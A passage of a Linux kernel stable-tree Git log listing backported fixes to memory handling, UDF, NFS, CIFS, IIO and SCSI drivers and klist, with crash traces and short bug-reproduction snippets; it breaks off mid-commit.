commit 9b9bc089a967fffca8d58c20bcaa80c7de88100c Author: Takashi Iwai Date: Fri Nov 6 11:26:01 2015 -0800 Input: elantech - add Fujitsu Lifebook U745 to force crc_enabled commit 60603950f836ef4e88daddf61a273b91e671db2d upstream. Another Lifebook machine that needs the same quirk as other similar models to make the driver working. Bugzilla: https://bugzilla.opensuse.org/show_bug.cgi?id=883192 Signed-off-by: Takashi Iwai Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit df0547a8a99783a159ed5b291c8fafa69448b2b3 Author: Naoya Horiguchi Date: Fri Jan 15 16:54:03 2016 -0800 mm: soft-offline: check return value in second __get_any_page() call commit d96b339f453997f2f08c52da3f41423be48c978f upstream. I saw the following BUG_ON triggered in a testcase where a process calls madvise(MADV_SOFT_OFFLINE) on thps, along with a background process that calls migratepages command repeatedly (doing ping-pong among different NUMA nodes) for the first process: Soft offlining page 0x60000 at 0x700000600000 __get_any_page: 0x60000 free buddy page page:ffffea0001800000 count:0 mapcount:-127 mapping: (null) index:0x1 flags: 0x1fffc0000000000() page dumped because: VM_BUG_ON_PAGE(atomic_read(&page->_count) == 0) ------------[ cut here ]------------ kernel BUG at /src/linux-dev/include/linux/mm.h:342! invalid opcode: 0000 [#1] SMP DEBUG_PAGEALLOC Modules linked in: cfg80211 rfkill crc32c_intel serio_raw virtio_balloon i2c_piix4 virtio_blk virtio_net ata_generic pata_acpi CPU: 3 PID: 3035 Comm: test_alloc_gene Tainted: G O 4.4.0-rc8-v4.4-rc8-160107-1501-00000-rc8+ #74 Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 task: ffff88007c63d5c0 ti: ffff88007c210000 task.ti: ffff88007c210000 RIP: 0010:[] [] put_page+0x5c/0x60 RSP: 0018:ffff88007c213e00 EFLAGS: 00010246 Call Trace: put_hwpoison_page+0x4e/0x80 soft_offline_page+0x501/0x520 SyS_madvise+0x6bc/0x6f0 entry_SYSCALL_64_fastpath+0x12/0x6a Code: 8b fc ff ff 5b 5d c3 48 89 df e8 b0 fa ff ff 48 89 df 31 f6 e8 c6 7d ff ff 5b 5d c3 48 c7 c6 08 54 a2 81 48 89 df e8 a4 c5 01 00 <0f> 0b 66 90 66 66 66 66 90 55 48 89 e5 41 55 41 54 53 48 8b 47 RIP [] put_page+0x5c/0x60 RSP The root cause resides in get_any_page() which retries to get a refcount of the page to be soft-offlined. This function calls put_hwpoison_page(), expecting that the target page is putback to LRU list. But it can be also freed to buddy. So the second check need to care about such case. Fixes: af8fae7c0886 ("mm/memory-failure.c: clean up soft_offline_page()") Signed-off-by: Naoya Horiguchi Cc: Sasha Levin Cc: Aneesh Kumar K.V Cc: Vlastimil Babka Cc: Jerome Marchand Cc: Andrea Arcangeli Cc: Hugh Dickins Cc: Dave Hansen Cc: Mel Gorman Cc: Rik van Riel Cc: Steve Capper Cc: Johannes Weiner Cc: Michal Hocko Cc: Christoph Lameter Cc: David Rientjes Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit de23abbf6d1752a344bf1ae9b0934c77a0fcad47 Author: Linus Walleij Date: Mon Feb 8 09:14:37 2016 +0100 ARM: 8517/1: ICST: avoid arithmetic overflow in icst_hz() commit 5070fb14a0154f075c8b418e5bc58a620ae85a45 upstream. When trying to set the ICST 307 clock to 25174000 Hz I ran into this arithmetic error: the icst_hz_to_vco() correctly figure out DIVIDE=2, RDW=100 and VDW=99 yielding a frequency of 25174000 Hz out of the VCO. (I replicated the icst_hz() function in a spreadsheet to verify this.) However, when I called icst_hz() on these VCO settings it would instead return 4122709 Hz. This causes an error in the common clock driver for ICST as the common clock framework will call .round_rate() on the clock which will utilize icst_hz_to_vco() followed by icst_hz() suggesting the erroneous frequency, and then the clock gets set to this. The error did not manifest in the old clock framework since this high frequency was only used by the CLCD, which calls clk_set_rate() without first calling clk_round_rate() and since the old clock framework would not call clk_round_rate() before setting the frequency, the correct values propagated into the VCO. After some experimenting I figured out that it was due to a simple arithmetic overflow: the divisor for 24Mhz reference frequency as reference becomes 24000000*2*(99+8)=0x132212400 and the "1" in bit 32 overflows and is lost. But introducing an explicit 64-by-32 bit do_div() and casting the divisor into (u64) we get the right frequency back, and the right frequency gets set. Tested on the ARM Versatile. Cc: linux-clk@vger.kernel.org Cc: Pawel Moll Signed-off-by: Linus Walleij Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8a853e6ca8b2524da0b403f6d7d09829bbeca10c Author: Linus Walleij Date: Wed Feb 10 09:25:17 2016 +0100 ARM: 8519/1: ICST: try other dividends than 1 commit e972c37459c813190461dabfeaac228e00aae259 upstream. Since the dawn of time the ICST code has only supported divide by one or hang in an eternal loop. Luckily we were always dividing by one because the reference frequency for the systems using the ICSTs is 24MHz and the [min,max] values for the PLL input if [10,320] MHz for ICST307 and [6,200] for ICST525, so the loop will always terminate immediately without assigning any divisor for the reference frequency. But for the code to make sense, let's insert the missing i++ Reported-by: David Binderman Signed-off-by: Linus Walleij Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3f26fee8ad4f58a8c02282d09e28f78b1426e743 Author: Andrew Gabbasov Date: Thu Dec 24 10:25:33 2015 -0600 udf: Check output buffer length when converting name to CS0 commit bb00c898ad1ce40c4bb422a8207ae562e9aea7ae upstream. If a name contains at least some characters with Unicode values exceeding single byte, the CS0 output should have 2 bytes per character. And if other input characters have single byte Unicode values, then the single input byte is converted to 2 output bytes, and the length of output becomes larger than the length of input. And if the input name is long enough, the output length may exceed the allocated buffer length. All this means that conversion from UTF8 or NLS to CS0 requires checking of output length in order to stop when it exceeds the given output buffer size. [JK: Make code return -ENAMETOOLONG instead of silently truncating the name] Signed-off-by: Andrew Gabbasov Signed-off-by: Jan Kara Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2c965e72eb5cecab345ad7e276b7d0168cd90ef9 Author: Andrew Gabbasov Date: Thu Dec 24 10:25:32 2015 -0600 udf: Prevent buffer overrun with multi-byte characters commit ad402b265ecf6fa22d04043b41444cdfcdf4f52d upstream. udf_CS0toUTF8 function stops the conversion when the output buffer length reaches UDF_NAME_LEN-2, which is correct maximum name length, but, when checking, it leaves the space for a single byte only, while multi-bytes output characters can take more space, causing buffer overflow. Similar error exists in udf_CS0toNLS function, that restricts the output length to UDF_NAME_LEN, while actual maximum allowed length is UDF_NAME_LEN-2. In these cases the output can override not only the current buffer length field, causing corruption of the name buffer itself, but also following allocation structures, causing kernel crash. Adjust the output length checks in both functions to prevent buffer overruns in case of multi-bytes UTF8 or NLS characters. Signed-off-by: Andrew Gabbasov Signed-off-by: Jan Kara Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1778b8fca858a66fecffd9ebca56ad151ccf4102 Author: Vegard Nossum Date: Fri Dec 11 15:54:16 2015 +0100 udf: limit the maximum number of indirect extents in a row commit b0918d9f476a8434b055e362b83fa4fd1d462c3f upstream. udf_next_aext() just follows extent pointers while extents are marked as indirect. This can loop forever for corrupted filesystem. Limit number the of indirect extents we are willing to follow in a row. [JK: Updated changelog, limit, style] Signed-off-by: Vegard Nossum Cc: Jan Kara Cc: Quentin Casasnovas Cc: Andrew Morton Signed-off-by: Jan Kara Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f3c044aa2504d66ed29857c838f1ee1247160511 Author: Andrew Elble Date: Wed Dec 2 09:20:57 2015 -0500 nfs: Fix race in __update_open_stateid() commit 361cad3c89070aeb37560860ea8bfc092d545adc upstream. We've seen this in a packet capture - I've intermixed what I think was going on. The fix here is to grab the so_lock sooner. 1964379 -> #1 open (for write) reply seqid=1 1964393 -> #2 open (for read) reply seqid=2 __nfs4_close(), state->n_wronly-- nfs4_state_set_mode_locked(), changes state->state = [R] state->flags is [RW] state->state is [R], state->n_wronly == 0, state->n_rdonly == 1 1964398 -> #3 open (for write) call -> because close is already running 1964399 -> downgrade (to read) call seqid=2 (close of #1) 1964402 -> #3 open (for write) reply seqid=3 __update_open_stateid() nfs_set_open_stateid_locked(), changes state->flags state->flags is [RW] state->state is [R], state->n_wronly == 0, state->n_rdonly == 1 new sequence number is exposed now via nfs4_stateid_copy() next step would be update_open_stateflags(), pending so_lock 1964403 -> downgrade reply seqid=2, fails with OLD_STATEID (close of #1) nfs4_close_prepare() gets so_lock and recalcs flags -> send close 1964405 -> downgrade (to read) call seqid=3 (close of #1 retry) __update_open_stateid() gets so_lock * update_open_stateflags() updates state->n_wronly. nfs4_state_set_mode_locked() updates state->state state->flags is [RW] state->state is [RW], state->n_wronly == 1, state->n_rdonly == 1 * should have suppressed the preceding nfs4_close_prepare() from sending open_downgrade 1964406 -> write call 1964408 -> downgrade (to read) reply seqid=4 (close of #1 retry) nfs_clear_open_stateid_locked() state->flags is [R] state->state is [RW], state->n_wronly == 1, state->n_rdonly == 1 1964409 -> write reply (fails, openmode) Signed-off-by: Andrew Elble Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 94a34be1c0d365fa5222a16e44424e8057d83983 Author: Anton Protopopov Date: Wed Feb 10 12:50:21 2016 -0500 cifs: fix erroneous return value commit 4b550af519854421dfec9f7732cdddeb057134b2 upstream. The setup_ntlmv2_rsp() function may return positive value ENOMEM instead of -ENOMEM in case of kmalloc failure. Signed-off-by: Anton Protopopov Signed-off-by: Steve French Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 954365e31a6e8198f791ec379c790ab16f126c67 Author: Yong Li Date: Wed Jan 6 09:09:43 2016 +0800 iio: dac: mcp4725: set iio name property in sysfs commit 97a249e98a72d6b79fb7350a8dd56b147e9d5bdb upstream. Without this change, the name entity for mcp4725 is missing in /sys/bus/iio/devices/iio\:device*/name With this change, name is reported correctly Signed-off-by: Yong Li Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 42e89b7805bb4fca605da373c4886e4212069614 Author: Lars-Peter Clausen Date: Fri Nov 27 14:55:56 2015 +0100 iio: adis_buffer: Fix out-of-bounds memory access commit d590faf9e8f8509a0a0aa79c38e87fcc6b913248 upstream. The SPI tx and rx buffers are both supposed to be scan_bytes amount of bytes large and a common allocation is used to allocate both buffers. This puts the beginning of the tx buffer scan_bytes bytes after the rx buffer. The initialization of the tx buffer pointer is done adding scan_bytes to the beginning of the rx buffer, but since the rx buffer is of type __be16 this will actually add two times as much and the tx buffer ends up pointing after the allocated buffer. Fix this by using scan_count, which is scan_bytes / 2, instead of scan_bytes when initializing the tx buffer pointer. Fixes: aacff892cbd5 ("staging:iio:adis: Preallocate transfer message") Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 002c9ddc4cb6d83ab2bc3205f2ff16bec0c17ac7 Author: Michael Hennerich Date: Tue Oct 13 18:15:37 2015 +0200 iio:ad5064: Make sure ad5064_i2c_write() returns 0 on success commit 03fe472ef33b7f31fbd11d300dbb3fdab9c00fd4 upstream. i2c_master_send() returns the number of bytes transferred on success while the ad5064 driver expects that the write() callback returns 0 on success. Fix that by translating any non negative return value of i2c_master_send() to 0. Fixes: commit 6a17a0768f77 ("iio:dac:ad5064: Add support for the ad5629r and ad5669r") Signed-off-by: Michael Hennerich Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9dafd6f7b594ce3890a0d99fa77ad97d4158963d Author: Vladimir Zapolskiy Date: Sat Oct 17 21:44:38 2015 +0300 iio: lpc32xx_adc: fix warnings caused by enabling unprepared clock commit 01bb70ae0b98d266fa3e860482c7ce22fa482a6e upstream. If common clock framework is configured, the driver generates a warning, which is fixed by this change: root@devkit3250:~# cat /sys/bus/iio/devices/iio\:device0/in_voltage0_raw ------------[ cut here ]------------ WARNING: CPU: 0 PID: 724 at drivers/clk/clk.c:727 clk_core_enable+0x2c/0xa4() Modules linked in: sc16is7xx snd_soc_uda1380 CPU: 0 PID: 724 Comm: cat Not tainted 4.3.0-rc2+ #198 Hardware name: LPC32XX SoC (Flattened Device Tree) Backtrace: [<>] (dump_backtrace) from [<>] (show_stack+0x18/0x1c) [<>] (show_stack) from [<>] (dump_stack+0x20/0x28) [<>] (dump_stack) from [<>] (warn_slowpath_common+0x90/0xb8) [<>] (warn_slowpath_common) from [<>] (warn_slowpath_null+0x24/0x2c) [<>] (warn_slowpath_null) from [<>] (clk_core_enable+0x2c/0xa4) [<>] (clk_core_enable) from [<>] (clk_enable+0x24/0x38) [<>] (clk_enable) from [<>] (lpc32xx_read_raw+0x38/0x80) [<>] (lpc32xx_read_raw) from [<>] (iio_read_channel_info+0x70/0x94) [<>] (iio_read_channel_info) from [<>] (dev_attr_show+0x28/0x4c) [<>] (dev_attr_show) from [<>] (sysfs_kf_seq_show+0x8c/0xf0) [<>] (sysfs_kf_seq_show) from [<>] (kernfs_seq_show+0x2c/0x30) [<>] (kernfs_seq_show) from [<>] (seq_read+0x1c8/0x440) [<>] (seq_read) from [<>] (kernfs_fop_read+0x38/0x170) [<>] (kernfs_fop_read) from [<>] (do_readv_writev+0x16c/0x238) [<>] (do_readv_writev) from [<>] (vfs_readv+0x50/0x58) [<>] (vfs_readv) from [<>] (default_file_splice_read+0x1a4/0x308) [<>] (default_file_splice_read) from [<>] (do_splice_to+0x78/0x84) [<>] (do_splice_to) from [<>] (splice_direct_to_actor+0xc8/0x1cc) [<>] (splice_direct_to_actor) from [<>] (do_splice_direct+0xa0/0xb8) [<>] (do_splice_direct) from [<>] (do_sendfile+0x1a8/0x30c) [<>] (do_sendfile) from [<>] (SyS_sendfile64+0x104/0x10c) [<>] (SyS_sendfile64) from [<>] (ret_fast_syscall+0x0/0x38) Signed-off-by: Vladimir Zapolskiy Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 26f66f521f9006f1c2aaeaeb40e34e2cf6587466 Author: Lars-Peter Clausen Date: Mon Oct 12 14:56:28 2015 +0200 iio:ad7793: Fix ad7785 product ID commit 785171fd6cd7dcd7ada5a733b6a2d44ec566c3a0 upstream. While the datasheet for the AD7785 lists 0xXB as the product ID the actual product ID is 0xX3. Fix the product ID otherwise the driver will reject the device due to non matching IDs. Fixes: e786cc26dcc5 ("staging:iio:ad7793: Implement stricter id checking") Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0bc63114b069680e955b52fd3e12f5a38d4229e2 Author: James Bottomley Date: Wed Feb 10 08:03:26 2016 -0800 scsi: fix soft lockup in scsi_remove_target() on module removal commit 90a88d6ef88edcfc4f644dddc7eef4ea41bccf8b upstream. This softlockup is currently happening: [ 444.088002] NMI watchdog: BUG: soft lockup - CPU#1 stuck for 22s! [kworker/1:1:29] [ 444.088002] Modules linked in: lpfc(-) qla2x00tgt(O) qla2xxx_scst(O) scst_vdisk(O) scsi_transport_fc libcrc32c scst(O) dlm configfs nfsd lockd grace nfs_acl auth_rpcgss sunrpc ed d snd_pcm_oss snd_mixer_oss snd_seq snd_seq_device dm_mod iTCO_wdt snd_hda_codec_realtek snd_hda_codec_generic gpio_ich iTCO_vendor_support ppdev snd_hda_intel snd_hda_codec snd_hda _core snd_hwdep tg3 snd_pcm snd_timer libphy lpc_ich parport_pc ptp acpi_cpufreq snd pps_core fjes parport i2c_i801 ehci_pci tpm_tis tpm sr_mod cdrom soundcore floppy hwmon sg 8250_ fintek pcspkr i915 drm_kms_helper uhci_hcd ehci_hcd drm fb_sys_fops sysimgblt sysfillrect syscopyarea i2c_algo_bit usbcore button video usb_common fan ata_generic ata_piix libata th ermal [ 444.088002] CPU: 1 PID: 29 Comm: kworker/1:1 Tainted: G O 4.4.0-rc5-2.g1e923a3-default #1 [ 444.088002] Hardware name: FUJITSU SIEMENS ESPRIMO E /D2164-A1, BIOS 5.00 R1.10.2164.A1 05/08/2006 [ 444.088002] Workqueue: fc_wq_4 fc_rport_final_delete [scsi_transport_fc] [ 444.088002] task: f6266ec0 ti: f6268000 task.ti: f6268000 [ 444.088002] EIP: 0060:[] EFLAGS: 00000286 CPU: 1 [ 444.088002] EIP is at _raw_spin_unlock_irqrestore+0x14/0x20 [ 444.088002] EAX: 00000286 EBX: f20d3800 ECX: 00000002 EDX: 00000286 [ 444.088002] ESI: f50ba800 EDI: f2146848 EBP: f6269ec8 ESP: f6269ec8 [ 444.088002] DS: 007b ES: 007b FS: 00d8 GS: 00e0 SS: 0068 [ 444.088002] CR0: 8005003b CR2: 08f96600 CR3: 363ae000 CR4: 000006d0 [ 444.088002] Stack: [ 444.088002] f6269eec c066b0f7 00000286 f2146848 f50ba808 f50ba800 f50ba800 f2146a90 [ 444.088002] f2146848 f6269f08 f8f0a4ed f3141000 f2146800 f2146a90 f619fa00 00000040 [ 444.088002] f6269f40 c026cb25 00000001 166c6392 00000061 f6757140 f6136340 00000004 [ 444.088002] Call Trace: [ 444.088002] [] scsi_remove_target+0x167/0x1c0 [ 444.088002] [] fc_rport_final_delete+0x9d/0x1e0 [scsi_transport_fc] [ 444.088002] [] process_one_work+0x155/0x3e0 [ 444.088002] [] worker_thread+0x37/0x490 [ 444.088002] [] kthread+0x9b/0xb0 [ 444.088002] [] ret_from_kernel_thread+0x21/0x40 What appears to be happening is that something has pinned the target so it can't go into STARGET_DEL via final release and the loop in scsi_remove_target spins endlessly until that happens. The fix for this soft lockup is to not keep looping over a device that we've called remove on but which hasn't gone into DEL state. This patch will retain a simplistic memory of the last target and not keep looping over it. Reported-by: Sebastian Herbszt Tested-by: Sebastian Herbszt Fixes: 40998193560dab6c3ce8d25f4fa58a23e252ef38 Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9b90aa222335ab5cd4e604fecc2754c7391043f5 Author: Hannes Reinecke Date: Fri Jan 22 15:42:41 2016 +0100 scsi_dh_rdac: always retry MODE SELECT on command lock violation commit d2d06d4fe0f2cc2df9b17fefec96e6e1a1271d91 upstream. If MODE SELECT returns with sense '05/91/36' (command lock violation) it should always be retried without counting the number of retries. During an HBA upgrade or similar circumstances one might see a flood of MODE SELECT command from various HBAs, which will easily trigger the sense code and exceed the retry count. Signed-off-by: Hannes Reinecke Reviewed-by: Johannes Thumshirn Signed-off-by: Martin K. Petersen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3b58c80aa735f270fde2cf418fe0a243735a0388 Author: Kirill A. Shutemov Date: Tue Feb 2 16:57:35 2016 -0800 drivers/scsi/sg.c: mark VMA as VM_IO to prevent migration commit 461c7fa126794157484dca48e88effa4963e3af3 upstream. Reduced testcase: #include #include #include #include #define SIZE 0x2000 int main() { int fd; void *p; fd = open("/dev/sg0", O_RDWR); p = mmap(NULL, SIZE, PROT_EXEC, MAP_PRIVATE | MAP_LOCKED, fd, 0); mbind(p, SIZE, 0, NULL, 0, MPOL_MF_MOVE); return 0; } We shouldn't try to migrate pages in sg VMA as we don't have a way to update Sg_scatter_hold::pages accordingly from mm core. Let's mark the VMA as VM_IO to indicate to mm core that the VMA is not migratable. Signed-off-by: Kirill A. Shutemov Reported-by: Dmitry Vyukov Acked-by: Vlastimil Babka Cc: Doug Gilbert Cc: David Rientjes Cc: Naoya Horiguchi Cc: "Kirill A. Shutemov" Cc: Shiraz Hashim Cc: Hugh Dickins Cc: Sasha Levin Cc: syzkaller Cc: Kostya Serebryany Cc: Alexander Potapenko Cc: James Bottomley Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 483a563e5d6e61e68567999bc8b5a6db2a9c3102 Author: Alan Stern Date: Wed Jan 20 11:26:01 2016 -0500 SCSI: fix crashes in sd and sr runtime PM commit 13b4389143413a1f18127c07f72c74cad5b563e8 upstream. Runtime suspend during driver probe and removal can cause problems. The driver's runtime_suspend or runtime_resume callbacks may invoked before the driver has finished binding to the device or after the driver has unbound from the device. This problem shows up with the sd and sr drivers, and can cause disk or CD/DVD drives to become unusable as a result. The fix is simple. The drivers store a pointer to the scsi_disk or scsi_cd structure as their private device data when probing is finished, so we simply have to be sure to clear the private data during removal and test it during runtime suspend/resume. This fixes . Signed-off-by: Alan Stern Reported-by: Paul Menzel Reported-by: Erich Schubert Reported-by: Alexandre Rossi Tested-by: Paul Menzel Tested-by: Erich Schubert Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a24a981377c02a873a64a217df097b4dc039f7e6 Author: Nicholas Bellinger Date: Tue Jan 19 16:15:27 2016 -0800 iscsi-target: Fix potential dead-lock during node acl delete commit 26a99c19f810b2593410899a5b304b21b47428a6 upstream. This patch is a iscsi-target specific bug-fix for a dead-lock that can occur during explicit struct se_node_acl->acl_group se_session deletion via configfs rmdir(2), when iscsi-target time2retain timer is still active. It changes iscsi-target to obtain se_portal_group->session_lock internally using spin_in_locked() to check for the specific se_node_acl configfs shutdown rmdir(2) case. Note this patch is intended for stable, and the subsequent v4.5-rc patch converts target_core_tpg.c to use proper se_sess->sess_kref reference counting for both se_node_acl deletion + se_node_acl->queue_depth se_session restart. Reported-by:: Sagi Grimberg Cc: Christoph Hellwig Cc: Hannes Reinecke Cc: Andy Grover Cc: Mike Christie Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 01587778e54f7a3f41b2ceed74ae2fa97422985f Author: Ken Xue Date: Tue Dec 1 14:45:46 2015 +0800 SCSI: Fix NULL pointer dereference in runtime PM commit 4fd41a8552afc01054d9d9fc7f1a63c324867d27 upstream. The routines in scsi_pm.c assume that if a runtime-PM callback is invoked for a SCSI device, it can only mean that the device's driver has asked the block layer to handle the runtime power management (by calling blk_pm_runtime_init(), which among other things sets q->dev). However, this assumption turns out to be wrong for things like the ses driver. Normally ses devices are not allowed to do runtime PM, but userspace can override this setting. If this happens, the kernel gets a NULL pointer dereference when blk_post_runtime_resume() tries to use the uninitialized q->dev pointer. This patch fixes the problem by checking q->dev in block layer before handle runtime PM. Since ses doesn't define any PM callbacks and call blk_pm_runtime_init(), the crash won't occur. This fixes Bugzilla #101371. https://bugzilla.kernel.org/show_bug.cgi?id=101371 More discussion can be found from below link. http://marc.info/?l=linux-scsi&m=144163730531875&w=2 Signed-off-by: Ken Xue Acked-by: Alan Stern Cc: Xiangliang Yu Cc: James E.J. Bottomley Cc: Jens Axboe Cc: Michael Terry Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5728071844c9b1ae454791a69894c69ab8dd2382 Author: Bart Van Assche Date: Wed Nov 18 14:56:36 2015 -0800 Fix a memory leak in scsi_host_dev_release() commit b49493f99690c8eaacfbc635bafaad629ea2c036 upstream. Avoid that kmemleak reports the following memory leak if a SCSI LLD calls scsi_host_alloc() and scsi_host_put() but neither scsi_host_add() nor scsi_host_remove(). The following shell command triggers that scenario: for ((i=0; i<2; i++)); do srp_daemon -oac | while read line; do echo $line >/sys/class/infiniband_srp/srp-mlx4_0-1/add_target done done unreferenced object 0xffff88021b24a220 (size 8): comm "srp_daemon", pid 56421, jiffies 4295006762 (age 4240.750s) hex dump (first 8 bytes): 68 6f 73 74 35 38 00 a5 host58.. backtrace: [] kmemleak_alloc+0x7a/0xc0 [] __kmalloc_track_caller+0xfe/0x160 [] kvasprintf+0x5b/0x90 [] kvasprintf_const+0x8d/0xb0 [] kobject_set_name_vargs+0x3c/0xa0 [] dev_set_name+0x3c/0x40 [] scsi_host_alloc+0x327/0x4b0 [] srp_create_target+0x4e/0x8a0 [ib_srp] [] dev_attr_store+0x1b/0x20 [] sysfs_kf_write+0x4a/0x60 [] kernfs_fop_write+0x14e/0x180 [] __vfs_write+0x2f/0xf0 [] vfs_write+0xa4/0x100 [] SyS_write+0x54/0xc0 [] entry_SYSCALL_64_fastpath+0x12/0x6f Signed-off-by: Bart Van Assche Reviewed-by: Christoph Hellwig Reviewed-by: Johannes Thumshirn Reviewed-by: Sagi Grimberg Reviewed-by: Lee Duncan Cc: Christoph Hellwig Cc: Hannes Reinecke Signed-off-by: Martin K. Petersen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b1d264daaba58e514a734f89364defea80f3e4b3 Author: Nicholas Bellinger Date: Thu Nov 5 14:11:59 2015 -0800 iscsi-target: Fix rx_login_comp hang after login failure commit ca82c2bded29b38d36140bfa1e76a7bbfcade390 upstream. This patch addresses a case where iscsi_target_do_tx_login_io() fails sending the last login response PDU, after the RX/TX threads have already been started. The case centers around iscsi_target_rx_thread() not invoking allow_signal(SIGINT) before the send_sig(SIGINT, ...) occurs from the failure path, resulting in RX thread hanging indefinately on iscsi_conn->rx_login_comp. Note this bug is a regression introduced by: commit e54198657b65625085834847ab6271087323ffea Author: Nicholas Bellinger Date: Wed Jul 22 23:14:19 2015 -0700 iscsi-target: Fix iscsit_start_kthreads failure OOPs To address this bug, complete ->rx_login_complete for good measure in the failure path, and immediately return from RX thread context if connection state did not actually reach full feature phase (TARG_CONN_STATE_LOGGED_IN). Cc: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 59c036b7f2b423d7089ecfc31041d1d93364f1b5 Author: Peter Oberparleiter Date: Tue Oct 27 10:49:54 2015 +0100 scsi_sysfs: Fix queue_ramp_up_period return code commit 863e02d0e173bb9d8cea6861be22820b25c076cc upstream. Writing a number to /sys/bus/scsi/devices//queue_ramp_up_period returns the value of that number instead of the number of bytes written. This behavior can confuse programs expecting POSIX write() semantics. Fix this by returning the number of bytes written instead. Signed-off-by: Peter Oberparleiter Reviewed-by: Hannes Reinecke Reviewed-by: Matthew R. Ochs Reviewed-by: Ewan D. Milne Signed-off-by: Martin K. Petersen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 473ba3aa0c72f7fe6c6b38a33e05011abd01dd75 Author: Christoph Hellwig Date: Mon Oct 19 16:35:46 2015 +0200 scsi: restart list search after unlock in scsi_remove_target commit 40998193560dab6c3ce8d25f4fa58a23e252ef38 upstream. When dropping a lock while iterating a list we must restart the search as other threads could have manipulated the list under us. Without this we can get stuck in an endless loop. This bug was introduced by commit bc3f02a795d3b4faa99d37390174be2a75d091bd Author: Dan Williams Date: Tue Aug 28 22:12:10 2012 -0700 [SCSI] scsi_remove_target: fix softlockup regression on hot remove Which was itself trying to fix a reported soft lockup issue http://thread.gmane.org/gmane.linux.kernel/1348679 However, we believe even with this revert of the original patch, the soft lockup problem has been fixed by commit f2495e228fce9f9cec84367547813cbb0d6db15a Author: James Bottomley Date: Tue Jan 21 07:01:41 2014 -0800 [SCSI] dual scan thread bug fix Thanks go to Dan Williams for tracking all this prior history down. Reported-by: Johannes Thumshirn Signed-off-by: Christoph Hellwig Tested-by: Johannes Thumshirn Reviewed-by: Johannes Thumshirn Fixes: bc3f02a795d3b4faa99d37390174be2a75d091bd Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 30047b0ffb3c13fa59dd721182b82a62ffe01b95 Author: James Bottomley Date: Wed Jan 13 08:10:31 2016 -0800 klist: fix starting point removed bug in klist iterators commit 00cd29b799e3449f0c68b1cc77cd4a5f95b42d17 upstream. The starting node for a klist iteration is often passed in from somewhere way above the klist infrastructure, meaning there's no guarantee the node is still on the list. We've seen this in SCSI where we use bus_find_device() to iterate through a list of devices. In the face of heavy hotplug activity, the last device returned by bus_find_device() can be removed before the next call. This leads to Dec 3 13:22:02 localhost kernel: WARNING: CPU: 2 PID: 28073 at include/linux/kref.h:47 klist_iter_init_node+0x3d/0x50() Dec 3 13:22:02 localhost kernel: Modules linked in: scsi_debug x86_pkg_temp_thermal kvm_intel kvm irqbypass crc32c_intel joydev iTCO_wdt dcdbas ipmi_devintf acpi_power_meter iTCO_vendor_support ipmi_si imsghandler pcspkr wmi acpi_cpufreq tpm_tis tpm shpchp lpc_ich mfd_core nfsd nfs_acl lockd grace sunrpc tg3 ptp pps_core Dec 3 13:22:02 localhost kernel: CPU: 2 PID: 28073 Comm: cat Not tainted 4.4.0-rc1+ #2 Dec 3 13:22:02 localhost kernel: Hardware name: Dell Inc. PowerEdge R320/08VT7V, BIOS 2.0.22 11/19/2013 Dec 3 13:22:02 localhost kernel: ffffffff81a20e77 ffff880613acfd18 ffffffff81321eef 0000000000000000 Dec 3 13:22:02 localhost kernel: ffff880613acfd50 ffffffff8107ca52 ffff88061176b198 0000000000000000 Dec 3 13:22:02 localhost kernel: ffffffff814542b0 ffff880610cfb100 ffff88061176b198 ffff880613acfd60 Dec 3 13:22:02 localhost kernel: Call Trace: Dec 3 13:22:02 localhost kernel: [] dump_stack+0x44/0x55 Dec 3 13:22:02 localhost kernel: [] warn_slowpath_common+0x82/0xc0 Dec 3 13:22:02 localhost kernel: [] ? proc_scsi_show+0x20/0x20 Dec 3 13:22:02 localhost kernel: [] warn_slowpath_null+0x1a/0x20 Dec 3 13:22:02 localhost kernel: [] klist_iter_init_node+0x3d/0x50 Dec 3 13:22:02 localhost kernel: [] bus_find_device+0x51/0xb0 Dec 3 13:22:02 localhost kernel: [] scsi_seq_next+0x2d/0x40 [...] And an eventual crash. It can actually occur in any hotplug system which has a device finder and a starting device. We can fix this globally by making sure the starting node for klist_iter_init_node() is actually a member of the list before using it (and by starting from the 